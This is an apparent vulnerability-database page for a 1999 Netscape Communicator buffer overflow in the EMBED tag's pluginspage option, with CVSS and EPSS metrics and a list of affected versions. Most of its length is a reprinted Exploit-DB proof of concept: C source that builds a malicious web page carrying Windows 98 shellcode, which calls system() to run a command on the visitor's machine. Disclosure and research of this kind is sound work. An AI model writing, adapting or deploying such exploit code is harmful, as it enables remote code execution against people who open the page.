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CVE Descriptions
Buffer overflow in Netscape Communicator via EMBED tags in the pluginspage option.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5.1 | AV:N/AC:H/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19486
Publication date : 1999-09-01 22h00 +00:00
Author : R00t Zer0
EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/618/info
In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage.
*/
/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0(defcon0@ugtop.com)*/
/**/
/* DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )
int
main( void )
{
u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
u_charexploit_code[ STACK_LEN ];
u_charembed_type[ EMBED_TYPE_LEN ];
u_longip;
intloop;
srand( ( u_int )time( 0 ) );
bzero( exploit_code, sizeof( exploit_code ) );
for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
exploit_code [loop ] = NOP_CODE;
/* make exploit code */
ip = JMP_EBX_ADDR;
exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8 ) );
exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0 ) );
win98_exec_code[ CMDLENP ] = strlen( COMMAND );
strcat( exploit_code, win98_exec_code );
strcat( exploit_code, FUNCTION );
strcat( exploit_code, COMMAND );
/* set random type */
for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
embed_type[ loop ] = 0x23 + ( rand() % 93 );
/* print html */
printf( "Content-type: text/html\n\n" );
printf( "<HTML>\n" );
printf( "<HEAD>\n" );
printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
printf( "</HEAD>\n" );
printf( "<BODY>\n" );
printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type );
printf( "</EMBED>\n</BODY>\n</HTML>\n" );
return( 0 );
}
Products Mentioned
Configuraton 0
Netscape>>Communicator >> Version 4.5
- Netscape>>Communicator >> Version 4.5 (Open CPE detail)
Netscape>>Communicator >> Version 4.06
- Netscape>>Communicator >> Version 4.06 (Open CPE detail)
Netscape>>Communicator >> Version 4.6
- Netscape>>Communicator >> Version 4.6 (Open CPE detail)
Netscape>>Communicator >> Version 4.51
- Netscape>>Communicator >> Version 4.51 (Open CPE detail)
Netscape>>Communicator >> Version 4.61
- Netscape>>Communicator >> Version 4.61 (Open CPE detail)
References
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